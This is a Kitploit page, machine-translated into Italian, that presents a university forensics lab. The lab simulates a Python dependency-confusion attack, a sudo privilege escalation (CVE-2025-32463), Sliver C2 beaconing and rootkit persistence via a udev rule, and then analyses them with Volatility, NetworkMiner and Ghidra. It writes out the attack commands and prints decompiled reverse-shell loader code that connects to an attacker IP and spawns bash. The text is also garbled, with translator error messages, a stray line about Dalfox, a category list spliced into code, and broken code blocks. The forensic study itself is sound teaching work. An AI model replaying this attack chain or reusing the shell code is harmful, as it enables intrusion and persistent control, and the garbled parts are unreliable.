Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
linux-root-kit — Simulazione end-to-end di un attacco di dependency confusion in Python, escalation dei privilegi di sudo (CVE-2025-32463) e persistenza basata su rootkit - con analisi forense completa di memoria e rete. | Kitploit
Strumenti/GitHubGitHub/ic3-512/linux-root-kit
Escalation di PrivilegiFramework di ExploitMemory ForensicsMeccanismi di PersistenzaNetwork ForensicsReverse EngineeringDigital ForensicsCommand and ControlSicurezza della Supply ChainApprendimento e FormazioneLab e Pratica
1011 anno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
GitHub
ic3-512/linux-root-kit

linux-root-kit

Simulazione end-to-end di un attacco di dependency confusion in Python, escalation dei privilegi di sudo (CVE-2025-32463) e persistenza basata su rootkit - con analisi forense completa di memoria e rete.

Vedi Repository

About This Project

Questo progetto è stato sviluppato nell'ambito del corso Digitale Forensik presso la Technische Hochschule Deggendorf.

Dimostra un'indagine forense completa e una simulazione di attacco che coinvolgono:

  • Un attacco di dependency confusion in Python che utilizza un pacchetto PyPI dannoso

  • Escalation dei privilegi tramite una versione vulnerabile di sudo (CVE-2025-32463)

  • Distribuzione di un beacon C2 Sliver

  • Un rootkit personalizzato con caricamento di moduli del kernel, hooking delle syscall e persistenza basata su udev

  • Analisi completa degli artefatti di memoria e rete utilizzando strumenti come Volatility, NetworkMiner e reverse engineering manuale

Il repository contiene script, istruzioni di configurazione, artefatti , e passaggi di analisi dettagliati per replicare sia l'attacco che l'indagine forense.

TOC

  • Escalation dei privilegi
  • Catena di exploit
  • Generazione degli artefatti
    • Creare il dump di memoria
    • Preparare il dump di rete su Ubuntu
  • Configurazione del client Ubuntu dello sviluppatore (shell)
    • 1. Clona il repository ed esegui
    • 2. Una volta avviata la VM, accedi via SSH
    • 3. Installa sudo vulnerabile e l'ambiente virtuale Python
    • 4. Compila il binario loader in userland (shell)
    • 5. Invia la shell al Kali per serverla successivamente da lì.
  • Configurazione di Kali (192.168.56.101)
    • 1. Avvia il server Sliver
    • 2. Genera un beacon HTTP
    • 3. Rinomina e servi il beacon
    • 4. Avvia il listener
  • Simula lo sviluppatore
    • 1. Clona il PoC
    • 2. Crea e attiva un ambiente virtuale Python
    • 3. Installa le dipendenze
    • 4. Esegui il pacchetto dannoso
  • Simula l'attaccante
    • 1. Attendi il beacon e ispeziona la versione di sudo
    • 2. Carica exploit e loader
    • 3. Esegui l'exploit di sudo
    • 4. Carica il modulo del kernel
    • 5. Configura una regola udev
    • 6. Riavvia
    • 7. Ottieni una shell al riavvio
  • Analisi
    • Panoramica degli artefatti raccolti
    • Panoramica rapida della rete con NetworkMiner
    • Analisi dettagliata del traffico
      • Download da GitHub
      • Download da PyPI
      • Recupero del binario dannoso “lilux”
    • Comportamento post-download
      • Beaconing Sliver
      • Reverse shell non crittografata
    • Riepilogo
      • Risultati principali
      • Implicazioni forensi
  • Analisi della memoria
    • Ambiente e configurazione
    • Acquisizione del dump di memoria
    • Installa i simboli di debug
    • Genera il file dei simboli di Volatility
    • Esegui Volatility con i simboli
    • (Opzionale) Ricerca più rapida con fzf
    • Trovare file interessanti
    • Moduli caricati
    • Regola udev
    • Estrazione della shell
  • Reverse engineering del binario shell
    • Branch load_module
    • Branch rsh
      • Funzione daemonize
      • Reverse shell
    • Riepilogo del comportamento
      • Riepilogo comportamentale
  • Reverse engineering del modulo del kernel
    • Script Python per estrarre il modulo del kernel
      • 1. Crea l'intervallo
      • 2. Confronta l'indirizzo di destinazione
      • 3. Continua finché non viene trovata una corrispondenza
    • rkit_init
    • Funzioni intercettate
      • Hook di Kill
      • Hook di Getdents(64)
    • Nascondere il modulo
    • Messaggi di debug
    • Loader della reverse shell
    • rkit_exit
  • Checksum
  • Strumenti e versioni utilizzati

Escalation dei privilegi

CVE-2025-32463
Dettagli NVD
PoC GitHub

[!NOTE]
È necessario installare una versione vulnerabile di sudo (con supporto chroot—vedi privesc/setup.sh)

Catena di exploit```mermaid

sequenceDiagram autonumber participant Attacker participant PyPI participant IntDep as Internal Dep Server participant Dev as Developer participant C2 as C2 Server

root@kitploit:~
Attacker->>PyPI: Publish package with version v1.0.3
Dev->>IntDep: pip install
IntDep-->>Dev: Returns v1.0.1
Dev->>PyPI: Fallback pip install package==v1.0.3
PyPI-->>Dev: Returns malicious v1.0.3 (stager)
Dev->>Dev: Executes stager (package_evil)
Dev->>C2: Beacon/Sliver implant calls home
Note right of C2: Attacker now has RCE

Attacker->>Dev: Enumerates sudo version (1.9.16p2)
Attacker->>Dev: Runs CVE-2025-32463 exploit
Note right of Dev: PE to root

Dev->>Dev: Downloads & runs rootkit loader binary
Dev->>Dev: Loader installs kernel module & configures udev rule
Dev->>Dev: Schedules reboot
Note right of Dev: Attacker established persistence 

Dev->>Dev: System reboots
Dev->>Dev: Udev loads kernel module on boot
Dev->>C2: Kernel-stage beacon calls C2
root@kitploit:~
# Generazione degli artefatti

Tutti gli artefatti vengono generati manualmente. Utilizzerai due macchine:
- **Macchina dell'attaccante** (Kali Linux)
- **Macchina dello sviluppatore** (Ubuntu)

Genereremo tre artefatti:
- **PCAP** (prima del riavvio)
- **Memory dump** (dopo il riavvio)

## Creare il Memory Dump
[Come eseguire il dump della memoria di VirtualBox](https://www.ired.team/miscellaneous-reversing-forensics/dump-virtual-box-memory)


Sul sistema host:```shell
vboxmanage list vms
"linux-root-kit_default_1752261916398_20346" {c2d4b5bc-d87f-4dcb-af01-85b78c163fef}
virtualboxvm --startvm "linux-root-kit_default_1752261916398_20346" --dbg

Vai all'interfaccia --> Debug Nella console di debug (prompt VMMR0>):```shell .pgmphystofile 'dumpmem_linux_root_kit'

root@kitploit:~
## Preparare il dump di rete su Ubuntu
Avviare prima di simulare lo sviluppatore. Il `! port 22` è utile per non registrare la connessione ssh di vagrant.```shell
sudo tcpdump -w output.pcap ! port 22

Configurazione client Ubuntu per sviluppatori (shell)

1. Clona il repository ed esegui: ```shell

vagrant up

root@kitploit:~
Questo può richiedere un po' di tempo --> scarica un'intera VM creata con Bento.

## 2. Una volta che la VM è attiva, accedi via SSH:  ```shell
vagrant ssh

3. Installa il sudo vulnerabile e Python venv: ```shell

sudo bash /vagrant/privesc/setup.sh sudo apt install python3.12-venv

root@kitploit:~
## 4. Compilare il binario del loader in userland (shell):

Puoi anche eseguire il file `make` per compilare il binario `shell` in userland. Questo è il modo più semplice per farlo - altrimenti dovresti installare prima gli header corretti :P.

## 5. Inviare la `shell` alla Kali per poi servirla da lì.


# Configurazione Kali (192.168.56.101)

## 1. Avviare il server Sliver  ```shell
sliver

Avvio di Sliver

2. Genera un Beacon HTTP ```shell

generate beacon --os linux --format elf --arch amd64 --http 192.168.56.101

root@kitploit:~
![Crea beacon Sliver](https://assets.kitploit.com/production/public/readmes/36699/d213950ede6c17da9bce720e79cf2e358748730fab1bde555a184d92341cc61f.png)


## 3. Rinomina e servi il beacon  ```shell
mv INTERNATIONAL_DETENTION lilux
python3 -m http.server 9001

4. Avvia il listener ```

http -l 80 -L 0.0.0.0

root@kitploit:~
# Simula lo sviluppatore

## 1. Clona il PoC

Questo repository potrebbe essere qualsiasi repository con una configurazione vulnerabile per la dependency-confusion :D.  ```
git clone https://github.com/IC3-512/dependency-confusion-attack.git

2. Creare e attivare un venv Python ```

python3 -m venv .venv source .venv/bin/activate

root@kitploit:~
## 3. Installa le dipendenze  ```
pip install --upgrade --force-reinstall --no-cache-dir -r requirements.txt --verbose 

4. Esegui il pacchetto dannoso ```

python3 app.py

root@kitploit:~
Questo dovrebbe avviare il pacchetto malevolo, che carica il nostro beacon e lo esegue.



# Simula l'attaccante

_(Brutta opsec xD)_

## 1. Attendi il Beacon e controlla la versione di sudo:

![Getting an interactive session](https://assets.kitploit.com/production/public/readmes/36699/4730232dbc2909aca3efb51f79f877dd4aa059782fdd4c9f00b7d54cfc642fe8.png)

![Getting a shell](https://assets.kitploit.com/production/public/readmes/36699/d00bd910f805c33e594d42e0334594fabada9452eed44698891fbc27bf64de9f.png)  ```
sudo -V

2. Caricamento di exploit e loader

Il file exploit.sh proviene da pr0v3rbs (link GitHub) e ha come bersaglio sudo. Il binario shell proviene dalla fase precedente durante il provisioning di Ubuntu.

Questa operazione viene eseguita nella TUI del server Sliver: ```shell upload exploit.sh upload shell

root@kitploit:~
## 3. Esegui l'exploit Sudo

Questo viene eseguito nella sessione sliver OBVIOUS_MEASUREMENT all'interno di una shell.  ```shell
bash exploit.sh

Elevazione dei privilegi

4. Caricare il modulo del kernel

Caricare il modulo del kernel

5. Configurare una regola udev ```

echo 'ACTION=="add", ENV{MAJOR}=="1", ENV{MINOR}=="8", RUN+="/shell load"' | sudo tee /etc/udev/rules.d/99-load-rootkit.rules

root@kitploit:~
![Impostazione della persistenza](https://assets.kitploit.com/production/public/readmes/36699/8072c7bb9f8d4a996766d5ba9e2ee2459c32ab6dab00af385ac0320e14affce0.png)

## 6. Riavvio

![Riavvio](https://assets.kitploit.com/production/public/readmes/36699/52d431f3dc8efd101c4be295299817c0dda223b35160684b933f79849f4c72bf.png)

## 7. Catturare la shell al riavvio

![Revshell](https://assets.kitploit.com/production/public/readmes/36699/0b70166137aac20ef23fa57a9530e694049bdcc0b3732a3c68aa45d8c5036a05.png)


# Analisi

## Panoramica degli Artefatti Racc```shell
mono /opt/NetworkMiner/NetworkMiner.exe --noupdatecheck

NetworkMiner Overview Connections Summary

Risultato chiave:

  • Il client di sviluppo (10.0.2.15) ha stabilito connessioni in uscita sulle porte 80 e 9001 verso 192.168.56.101, oltre che verso GitHub e PyPI.
  • 192.168.56.101 è identificato come il server C2 controllato dall'attaccante e rappresenta il focus principale per ulteriori indagini.

Analisi dettagliata del traffico

Download da GitHub

  • Pacchetti 5–51: Connessione a github.com via HTTPS. Nessun payload sospetto è stato estratto; attività coerente con un recupero legittimo di dipendenze.

GitHub Traffic

Download da PyPI

  • Pacchetti 58–112: Connessione a pypi.org via HTTPS. Fetch standard di pacchetti; nessuna evidenza di manomissione in transito.

PyPI Traffic

Recupero del binario dannoso “lilux”

  • Pacchetti 116–1529: Richiesta HTTP GET a 192.168.56.101 per /lilux. Il flusso TCP grezzo è stato estratto e le intestazioni HTTP sono state rimosse, ottenendo il file lilux_hex.```shell sha256sum lilux_hex cb9ec2399929bae6383148dc983b0e07571534f65293fa085adac31bf35fd543
root@kitploit:~
Analysis with VirusTotal confirmed this binary as a **Sliver** C2 implant.

![VirusTotal Sliver Detection](https://assets.kitploit.com/production/public/readmes/36699/e8f6ca4ca1b281c9d98c62c672aa81fc31da931e55b95507bb9d0729d41a5953.png)

## Post‑Download Behavior

### Sliver Beaconing
Immediately after the “lilux” binary is executed, it initiates an HTTP beacon to **192.168.56.101:80**. Persistent C2 traffic is observed up to packet 3642, confirming active communication with the attacker.

![Sliver Beaconing](https://assets.kitploit.com/production/public/readmes/36699/84956f46faf031ea3c96a16fde8bcf3239c455eb787974c53c20cc3d4f779001.png)

### Unencrypted Reverse Shell
In parallel with Sliver traffic, an **unencrypted TCP reverse shell** is established to **192.168.56.101**. Captured commands include:```shell
id

Shell: id```shell hostname

root@kitploit:~
![Shell: hostname](https://assets.kitploit.com/production/public/readmes/36699/8accd0c6ba033dce079b783ba5cc901c4587ecd66ec6eb89511d47d858c30868.png)

L'intera sessione di shell è catturata nei pacchetti 3600–3800, fornendo prove del controllo interattivo dell'attaccante.

![Reverse Shell Traffic](https://assets.kitploit.com/production/public/readmes/36699/318e81d4980fe84a9a3ca0b4fd77524dc218d39065fb133bd8cd1cca9151576d.png)
![Shell Session](https://assets.kitploit.com/production/public/readmes/36699/ad9019112cf2a3b49ac0cef148c51f50aa1d759c07215624acf8605dd58d1994.png)


## Riepilogo

### Risultati principali
1. **Host vittima (10.0.2.15)** ha scaricato un binario malevolo “lilux” da **192.168.56.101**.
2. Il binario è confermato come un impianto Sliver, che ha immediatamente effettuato il beaconing verso il server C2 allo stesso IP.
3. È stata anche stabilita una reverse shell indipendente non crittografata verso lo stesso server, consentendo il controllo diretto dell'attaccante.

### Implicazioni forensi
- La presenza di canali C2 sia crittografati (Sliver) che non crittografati (reverse shell) dimostra una persistenza a strati e ridondanza negli strumenti dell'attaccante.
- Gli artefatti di rete forniscono una chiara timeline dell'infezione, della consegna del payload e dell'interazione dell'attaccante.

# Analisi della Memoria

## Ambiente e Configurazione
La VM di sviluppo è stata provisionata utilizzando Bento (`bento/ubuntu-24.04`) e gestita tramite Vagrant. Ciò ha garantito un ambiente riproducibile sia per l'infezione che per l'analisi forense.```shell
vagrant up
vagrant ssh

Acquisizione del dump di memoria

Il dump di memoria è stato acquisito dopo l'infezione e il riavvio, fornendo un'istantanea di tutti i moduli, processi e artefatti caricati al momento dell'analisi.```shell sha256sum dumpmem_linux_root_kit bcc73188e6905357a514107e4eac7557bce17b7e747aa1cca416c43f56c22367 dumpmem_linux_root_kit

root@kitploit:~
## Installa i simboli di debug```
vagrant@linux-root-kit:~$ uv run vol -f dumpmem_linux_root_kit  banner      
Volatility 3 Framework 2.26.0
Progress:  100.00		PDB scanning finished                  
Offset	Banner

0x108c00120	Linux version 6.8.0-53-generic (buildd@lcy02-amd64-046) (x86_64-linux-gnu-gcc-13 (Ubuntu 13.3.0-6ubuntu2~24.04) 13.3.0, GNU ld (GNU Binutils for Ubuntu) 2.42) #55-Ubuntu SMP PREEMPT_DYNAMIC  (Ubuntu 6.8.0-53.55-generic 6.8.12)
0x108dadd60	Linux version 6.8.0-53-generic (buildd@lcy02-amd64-046) (x86_64-linux-gnu-gcc-13 (Ubuntu 13.3.0-6ubuntu2~24.04) 13.3.0, GNU ld (GNU Binutils for Ubuntu) 2.42) #55-Ubuntu SMP PREEMPT_DYNAMIC Fri Jan 17 15:37:52 UTC 2025 (Ubuntu 6.8.0-53.55-generic 6.8.12)
0x10a5e1220	Linux version 6.8.0-53-generic (buildd@lcy02-amd64-046) (x86_64-linux-gnu-gcc-13 (Ubuntu 13.3.0-6ubuntu2~24.04) 13.3.0, GNU ld (GNU Binutils for Ubuntu) 2.42) #55-Ubuntu SMP PREEMPT_DYNAMIC Fri Jan 17 15:37:52 UTC 2025 (Ubuntu 6.8.0-53.55-generic 6.8.12)2)
0x1105b5cd8	Linux version 6.8.0-53-generic (buildd@lcy02-amd64-046) (x86_64-linux-gnu-gcc-13 (Ubuntu 13.3.0-6ubuntu2~24.04) 13.3.0, GNU ld (GNU Binutils for Ubuntu) 2.42) #55-Ubuntu SMP PREEMPT_DYNAMIC Fri Jan 17 15:37:52 UTC 2025 (Ubuntu 6.8.0-53.55-generic 6.8.12)
0x114befcd8	Linux version 6.8.0-53-generic (buildd@lcy02-amd64-046) (x86_64-linux-gnu-gcc-13 (Ubuntu 13.3.0-6ubuntu2~24.04) 13.3.0, GNU ld (GNU Binutils for Ubuntu) 2.42) #55-Ubuntu SMP PREEMPT_DYNAMIC Fri Jan 17 15:37:52 UTC 2025 (Ubuntu 6.8.0-53.55-generic 6.8.12)
0x114de9cd8	Linux version 6.8.0-53-generic (buildd@lcy02-amd64-046) (x86_64-linux-gnu-gcc-13 (Ubuntu 13.3.0-6ubuntu2~24.04) 13.3.0, GNU ld (GNU Binutils for Ubuntu) 2.42) #55-Ubuntu SMP PREEMPT_DYNAMIC Fri Jan 17 15:37:52 UTC 2025 (Ubuntu 6.8.0-53.55-generic 6.8.12)
root@kitploit:~
* **Altamente configurabile**. Tutte le funzionalità principali possono essere regolate tramite un file di configurazione JSON. Dalfox può anche essere configurato tramite l'interfaccia a riga di comando.```
sudo apt install ubuntu-dbgsym-keyring
echo "Types: deb
URIs: http://ddebs.ubuntu.com/
Suites: $(lsb_release -cs) $(lsb_release -cs)-updates $(lsb_release -cs)-proposed 
Components: main restricted universe multiverse
Signed-by: /usr/share/keyrings/ubuntu-dbgsym-keyring.gpg" | \
sudo tee -a /etc/apt/sources.list.d/ddebs.sources
sudo apt update

Questo prossimo passaggio può richiedere fino a un'ora``` sudo apt install linux-image-$(uname -r)-dbgsym

ls /usr/lib/debug/boot/vmlinux-6.8.0-53-generic

root@kitploit:~
## Generare il file dei simboli di Volatility```
git clone https://github.com/volatilityfoundation/dwarf2json
cd dwarf2json
go build
./dwarf2json linux --elf /usr/lib/debug/boot/vmlinux-6.8.0-53-generic  > linux-6.8.0-53-generic.json  

I received no content to translate. The chunk text appears to be missing after "INPUT:". Please provide the chunk.``` mkdir symbols mv dwarf2json/linux-6.8.0-53-generic.json .

root@kitploit:~
## Esegui Volatility con i simboli```
uv run vol -f dumpmem_linux_root_kit -s symbols linux.pslist

Fzf viene usato per convogliare l'output in memoria e cercare in modo fuzzy lì --> velocizzazione e non c'è bisogno di rieseguire l'intera esecuzione di vol

(Opzionale) Ricerca più veloce con fzf```

git clone --depth 1 https://github.com/junegunn/fzf.git ~/.fzf ~/.fzf/install

root@kitploit:~
## Trovare file interessanti
Ricerca di file interessanti nei file memorizzati nella cache:
`/var/log/dmesg````
vagrant@linux-root-kit:~$ uv run vol -f dumpmem_linux_root_kit -s symbols linux.pagecache.Files | fzf
0x8befcc063800	/	252:0	1704447	0x8befc61393a8	REG	15	15	-rw-r-----	2025-07-11 21:29:36.302604 UTC	2025-07-11 21:29:36.324615 UTC	2025-07-11 21:29:36.324615 UTC	/var/log/dmesg	57657

Estrazione del file di log dmesg:``` vagrant@linux-root-kit:~$ uv run vol -f dumpmem_linux_root_kit -s symbols linux.pagecache.InodePages --inode 0x8befc61393a8 --dump Volatility 3 Framework 2.26.0 Progress: 100.00 Stacking attempts finished
PageVAddr PagePAddr MappingAddr Index DumpSafe Flags

root@kitploit:~
## Moduli caricati
Guardando all'interno del log troviamo un log sospetto:```
cat inode_0x8befc61393a8.dmp | grep 'OE+'

599:[    6.756001] kernel: Modules linked in: leds_ss4200(-) rkit(OE+) vmwgfx(+) intel_cstate(-) lpc_ich drm_ttm_helper ttm vboxguest(OE) i2c_piix4 input_leds mac_hid serio_raw sch_fq_codel dm_multipath msr efi_pstore nfnetlink dmi_sysfs ip_tables x_tables autofs4 btrfs blake2b_generic raid10 raid456 async_raid6_recov async_memcpy async_pq async_xor async_tx xor raid6_pq libcrc32c raid1 raid0 crct10dif_pclmul crc32_pclmul polyval_clmulni polyval_generic ghash_clmulni_intel sha256_ssse3 e1000 sha1_ssse3 ahci libahci psmouse pata_acpi video wmi aesni_intel crypto_simd cryptd

Questo mostra un modulo non predefinito rkit!

  • O = Out-of-tree (non dal kernel standard)

  • E = ha reso tainted il kernel (modulo esterno)

  • + = caricato

Cercando questa funzionalità, abbiamo trovato questo messaggio:``` vagrant@linux-root-kit:~$ cat inode_0x8befc61393a8.dmp | grep rkit -n --snip-- 666:[ 6.777129] kernel: rkit: loaded

root@kitploit:~
Questo è probabilmente un messaggio di debug residuo nel modulo dannoso.

## Regola Udev
La ricerca fuzzy di `rkit` rivela:```
vagrant@linux-root-kit:~$ uv run vol -f dumpmem_linux_root_kit -s symbols linux.pagecache.Files | fzf                                         
0x8befcc063800	/	252:0	1049109	0x8befcbf9bd48	REG	1	1	-rw-r--r--	2025-07-11 21:28:20.652169 UTC	2025-07-11 21:28:06.260978 UTC	2025-07-11 21:28:06.260978 UTC	/etc/udev/rules.d/99-load-rootkit.rules	68

Estraendo la regola``` uv run vol -f dumpmem_linux_root_kit -s symbols linux.pagecache.InodePages --inode 0x8befcbf9bd48 --dump vagrant@linux-root-kit:~$ cat inode_0x8befcbf9bd48.dmp ACTION=="add", ENV{MAJOR}=="1", ENV{MINOR}=="8", RUN+="/shell load"

root@kitploit:~
facendo grep del numero maggiore abbiamo scoperto che è per `/dev/random`.```
ls -l /dev | grep '^c.* 1,'
crw-rw-rw-  1 root    root      1,   7 Jul 13 23:16 full
crw-r--r--  1 root    root      1,  11 Jul 13 23:16 kmsg
crw-r-----  1 root    kmem      1,   1 Jul 13 23:16 mem
crw-rw-rw-  1 root    root      1,   3 Jul 13 23:16 null
crw-r-----  1 root    kmem      1,   4 Jul 13 23:16 port
crw-rw-rw-  1 root    root      1,   8 Jul 13 23:16 random
crw-rw-rw-  1 root    root      1,   9 Jul 13 23:16 urandom
crw-rw-rw-  1 root    root      1,   5 Jul 13 23:16 zero

Conclusione: ogni volta che /dev/random viene aggiunto all'avvio, il comando /shell load viene eseguito!

Estrarre la shell

Ricerca della funzionalità nei file paginati per la shell del programma:``` vagrant@linux-root-kit:~$ uv run vol -f dumpmem_linux_root_kit -s symbols linux.pagecache.Files | fzf 0x8befcc063800 / 252:0 17 0x8befcbfc5908 REG 109 109 -rwxrwxr-x 2025-07-11 21:27:53.625663 UTC 2025-07-11 21:27:39.755732 UTC 2025-07-11 21:27:45.437571 UTC /shell 442880

root@kitploit:~
[No content provided in the INPUT section. Please paste the Markdown chunk you wish to have translated.]```
uv run vol -f dumpmem_linux_root_kit -s symbols linux.pagecache.InodePages --inode 0x8befcbfc5908 --dump
file inode_0x8befcbfc5908.dmp 
  • Rilevamento Anomalie (44)
  • Anti Adblock (1)
  • Anti Debug (8)
  • Anti DL/DR (6)
  • Anti Forensic (12)
  • Anti Comportamento Umano (7)
  • Anti IDS (14)
  • Anti IPS (5)
  • Anti IR (24)
  • Anti Sandbox (13)
  • Anti SIEM (17)
  • Anti Forensics (1)
  • Anti Manomissione (5)
  • Evasione AV/EDR (10)
  • Raccolta (75)
  • Accesso alle Credenziali e Dumping (24)
  • Codifica dei Dati (2)
  • Elusione della Difesa (22)
  • Scoperta (75)
  • Codifica (5)
  • Enumerazione (13)
  • Elusivo (1)
  • Esecuzione (43)
  • Esfiltrazione (24)
  • Sfruttamento (6)
  • Nascondi Artefatti (1)
  • Movimento Laterale (17)
  • Risorsa per lo Sviluppo di Malware (1)
  • Offuscamento (2)
  • Persistenza (20)
  • Phishing (1)
  • Escalation dei Privilegi (26)
  • Ransomware (1)
  • Recon (22)
  • Ricognizione (1)
  • Sviluppo delle Risorse (23)
  • Iniezione di Shellcode (8)
  • Furto (1)
  • Elusione di Windows (1)``` vagrant@linux-root-kit:~$ file inode_0x8befcbfc5908.dmp inode_0x8befcbfc5908.dmp: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=805a820b2000eb4476724f4861a57659c9488994, for GNU/Linux 3.2.0, not stripped
root@kitploit:~
# Reversing di `shell binary`

Utilizzando Ghidra con le impostazioni predefinite: 


![Funzioni di Ghidra](https://assets.kitploit.com/production/public/readmes/36699/01a1aad561c6d37d90263d24a0cdc8837ddc54e946241b457f30ae4c08c97ded.png)

![`main` disassemblato](https://assets.kitploit.com/production/public/readmes/36699/bbd2c5687afd6b46e92ebee3d6b67e25ad70c292f815189f5b7ce361854c0d13.png)```c
undefined8 main(int param_1,undefined8 *param_2)

{
  int iVar1;
  uint __fd;
  undefined8 uVar2;
  int *piVar3;
  char *pcVar4;
  long in_FS_OFFSET;
  sockaddr local_a8;
  char local_98 [136];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  if (param_1 < 2) {
    fprintf(stderr,"Invalid command. Usage: %s [load|rsh]\n",*param_2);
    uVar2 = 1;
  }
  else {
    iVar1 = strcmp((char *)param_2[1],"load");
    if (iVar1 == 0) {
      fwrite("loading module",1,0xe,stdout);
      load_module();
      uVar2 = 0;
    }
    else {
      iVar1 = strcmp((char *)param_2[1],"rsh");
      if (iVar1 == 0) {
        fwrite("starting shell\n",1,0xf,stdout);
        daemonize();
        do {
          while( true ) {
            while( true ) {
              __fd = socket(2,1,0);
              if (-1 < (int)__fd) break;
              piVar3 = __errno_location();
              pcVar4 = strerror(*piVar3);
              snprintf(local_98,0x80,"socket failed: %s",pcVar4);
              log_msg(local_98);
              sleep(5);
            }
            local_a8.sa_family = 2;
            local_a8.sa_data._0_2_ = htons(0x2329);
            local_a8.sa_data._2_4_ = inet_addr("192.168.56.101");
            snprintf(local_98,0x80,"Connecting to %s:%d","192.168.56.101",0x2329);
            log_msg(local_98);
            snprintf(local_98,0x80,"About to call connect on s=%d",(ulong)__fd);
            log_msg(local_98);
            iVar1 = connect(__fd,&local_a8,0x10);
            if (iVar1 != 0) break;
            log_msg("Connection established, spawning shell");
            dup2(__fd,0);
            dup2(__fd,1);
            dup2(__fd,2);
            execl("/bin/bash","bash",0);
            piVar3 = __errno_location();
            pcVar4 = strerror(*piVar3);
            snprintf(local_98,0x80,"execl failed: %s",pcVar4);
            log_msg(local_98);
            close(__fd);
            sleep(5);
          }
          piVar3 = __errno_location();
          pcVar4 = strerror(*piVar3);
          snprintf(local_98,0x80,"connect failed: %s",pcVar4);
          log_msg(local_98);
          close(__fd);
          sleep(5);
        } while( true );
      }
      uVar2 = 1;
    }
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return uVar2;
}

La vista di disassemblaggio in Ghidra (vedi le immagini sopra) rivela che la funzione main inizia controllando il numero di argomenti della riga di comando. Se vengono forniti meno di due argomenti, stampa un messaggio di errore ed esce.

Se il primo argomento è uguale alla stringa "load", main scrive loading module sullo standard output, chiama la funzione load_module e restituisce 0. Se il primo argomento è uguale a "rsh", scrive starting shell sullo standard output, chiama daemonize() e quindi entra nel remote_shell_loop, che non restituisce mai il controllo. Qualsiasi altro argomento causa anch'esso un codice di uscita pari a 1.

Ramo load_module```c

int load_module(void)

{ long lVar1; int *piVar2; char *pcVar3; long in_FS_OFFSET; char local_98 [136]; long local_10;

local_10 = *(long *)(in_FS_OFFSET + 0x28); lVar1 = syscall(0xaf,&rkit_ko,(ulong)rkit_ko_len,&DAT_00102035); if ((int)lVar1 == 0) { log_msg("Module loaded via init_module !!!"); } else { piVar2 = __errno_location(); pcVar3 = strerror(*piVar2); snprintf(local_98,0x80,"init_module failed: %s",pcVar3); log_msg(local_98); } if (local_10 != *(long )(in_FS_OFFSET + 0x28)) { / WARNING: Subroutine does not return */ __stack_chk_fail(); } return (int)lVar1; }

root@kitploit:~
Chiama il numero di syscall `0xaf`, che su Linux è `__NR_init_module`.

La funzione `load_module` usa la syscall del kernel Linux `init_module` (numero di syscall `0xAF`) per caricare il codice del modulo incorporato direttamente dalla memoria. Invoca `syscall(__NR_init_module, &rkit_ko, rkit_ko_len, "")` ([Tabella di consultazione per le syscall](https://syscalls.mebeim.net/?table=x86/64/x64/latest)).

![Syscall](https://assets.kitploit.com/production/public/readmes/36699/38e634b577396df3acc240a08ed329bd7e372a1b272f312458effb13fe85f8df.png)

Questo approccio garantisce che il modulo non appaia mai su disco - nessun file .ko viene scritto. Il modulo del kernel viene caricato interamente da un array di byte incorporato nel binario del loader in userland.

Dopo questo, il programma termina.

## Ramo rsh

Quando l'argomento è `rsh`, dopo aver scritto la shell iniziale, il programma chiama `daemonize()`.```c
    iVar1 = strcmp((char *)param_2[1],"rsh");
        if (iVar1 == 0) {
        fwrite("starting shell\n",1,0xf,stdout);
        daemonize();

        ---snippet--
    }

Funzione daemonize```c

void daemonize(void)

{ __pid_t _Var1;

_Var1 = fork(); if (_Var1 < 0) { /* WARNING: Subroutine does not return / exit(1); } if (0 < _Var1) { / WARNING: Subroutine does not return / exit(0); } _Var1 = setsid(); if (_Var1 < 0) { log_msg("setsid failed"); / WARNING: Subroutine does not return */ exit(1); } close(0); close(1); close(2); _Var1 = getpid(); kill(_Var1,0x3f); return; }

root@kitploit:~
Questa funzione di supporto esegue una fork e fa terminare immediatamente il processo padre. Il processo figlio diventa leader di sessione tramite `setsid()`, chiude i descrittori di file standard 0, 1 e 2 (`stdin`, `stdout` e `stderr`) e infine invia a sé stesso il segnale `0x3F`  (`63`) per nascondersi dai tipici elenchi di processi. Questo verrà discusso più avanti come una delle tecniche del modulo Kernel. Dopo la daemonizzazione, il controllo entra nel "revshell loop".


### Reverse Shell```c
        do {
          while( true ) {
            while( true ) {
              __fd = socket(2,1,0);
              if (-1 < (int)__fd) break;
              piVar3 = __errno_location();
              pcVar4 = strerror(*piVar3);
              snprintf(local_98,0x80,"socket failed: %s",pcVar4);
              log_msg(local_98);
              sleep(5);
            }
            local_a8.sa_family = 2;
            local_a8.sa_data._0_2_ = htons(0x2329);
            local_a8.sa_data._2_4_ = inet_addr("192.168.56.101");
            snprintf(local_98,0x80,"Connecting to %s:%d","192.168.56.101",0x2329);
            log_msg(local_98);
            snprintf(local_98,0x80,"About to call connect on s=%d",(ulong)__fd);
            log_msg(local_98);
            iVar1 = connect(__fd,&local_a8,0x10);
            if (iVar1 != 0) break;
            log_msg("Connection established, spawning shell");
            dup2(__fd,0);
            dup2(__fd,1);
            dup2(__fd,2);
            execl("/bin/bash","bash",0);
            piVar3 = __errno_location();
            pcVar4 = strerror(*piVar3);
            snprintf(local_98,0x80,"execl failed: %s",pcVar4);
            log_msg(local_98);
            close(__fd);
            sleep(5);
          }
          piVar3 = __errno_location();
          pcVar4 = strerror(*piVar3);
          snprintf(local_98,0x80,"connect failed: %s",pcVar4);
          log_msg(local_98);
          close(__fd);
          sleep(5);
        } while( true );

